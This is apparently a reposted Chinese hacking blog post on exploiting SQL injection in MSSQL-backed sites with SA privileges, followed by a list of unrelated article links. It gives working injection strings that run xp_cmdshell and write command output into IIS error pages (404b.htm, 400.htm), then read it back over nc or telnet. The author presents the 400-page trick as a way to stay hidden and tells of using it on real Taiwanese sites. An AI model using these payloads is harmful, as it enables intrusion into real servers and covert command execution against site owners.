MSSQL获取WEbshell把结果输出到400.HTM
来源:互联网 发布:淘宝模特丁小双老公 编辑:程序博客网 时间:2024/05/15 00:18
把结果输出到400.HTM [ 2005.1.23 ]
碰到几个台湾的SQL注入点,SA的用户。遮屏了返回信息,TCP/IP筛选开启。NBSI不能用,大概语句有冲突。
首先手工的注入得到
id=605;exec master..xp_cmdshell 'net start >%25windir%25/help/iisHelp/common/404b.htm。
然后打开个不存在的页面,居然返回“出错了哦~~页面找不到了嘛……”
我晕。这么亲切暧昧的,但是我不吃这套
经过0.0001秒的思考之后,我想到了nc,想到了IIS 400 BAD REQUEST。
这种方法的好处是,如果ASP或者IIS遮屏了默认的404 NOT FOUND页面,那么就可以利用这种方法从BAD REQUEST里得到。
id=605;exec master..xp_cmdshell 'net start >%25windir%25/help/iisHelp/common/400.htm。
然后用NC或者TELNET连接,随便写一些字符,然后回车。
得到了返回的内容。这个不错~呵呵,而且404的弊端在于出现的几率很高。很多人都可能看见。而400很少出现。。。这个就是隐蔽性。OK
完了后突然想到这句话,如果给了你SYSTEM权限你还搞不定,你还是别混了。呵呵(好象之前没人说过)
- MSSQL获取WEbshell把结果输出到400.HTM
- 直接把结果输出到打印机
- 直接把结果输出到打印机
- 直接把结果输出到打印机
- 直接把结果输出到打印机
- 把sql查询结果输出到文件
- 把结果输出到文本文件当中
- 把程序的输出结果输出到log文件
- C#查询数据库把结果输出到XML的例子
- C++ 把输出结果写入到文件中
- C++ 把输出结果写入到文件中
- C++ 把输出结果写入到文件中
- C++ 把输出结果写入到文件中
- 杂七杂八:把printf的结果输出到文件中
- BBSXP7 mssql版,从注入到拿WEBSHELL
- VC执行批处理文件并获取结果输出到RichEdit控件
- mysql如何把在屏幕上输出的结果输出到一个文件上?
- mysql如何把在屏幕上输出的结果输出到一个文件上?
- 数据/配置 的存储方式 Json篇 以Cocos2D For Iphone+TouchJson为例
- Apache配置相关问题
- 如何在asp.net中实现返回上一页的功能
- SOA项目实施的难题----之补充篇
- Sicily 1010. Zipper
- MSSQL获取WEbshell把结果输出到400.HTM
- Android实例剖析笔记notePad
- Access导出Excel
- 【zz】常用算法
- vfp如何使用spt
- 静态类和静态类成员以及非静态类的静态成员
- hdu 3477 Temperature
- 利用的是ADOX.Catalog组件的马
- 【zz】POJ 练习题分类